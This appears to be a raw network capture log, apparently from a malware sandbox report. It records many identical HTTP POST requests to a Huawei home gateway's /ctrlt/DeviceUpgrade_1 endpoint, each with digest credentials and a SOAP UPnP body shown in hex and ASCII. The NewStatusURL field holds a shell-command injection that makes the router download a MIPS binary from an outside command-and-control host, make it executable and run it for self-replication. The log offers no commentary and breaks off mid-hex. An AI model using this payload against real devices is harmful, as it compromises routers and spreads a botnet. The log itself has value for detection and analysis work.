73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 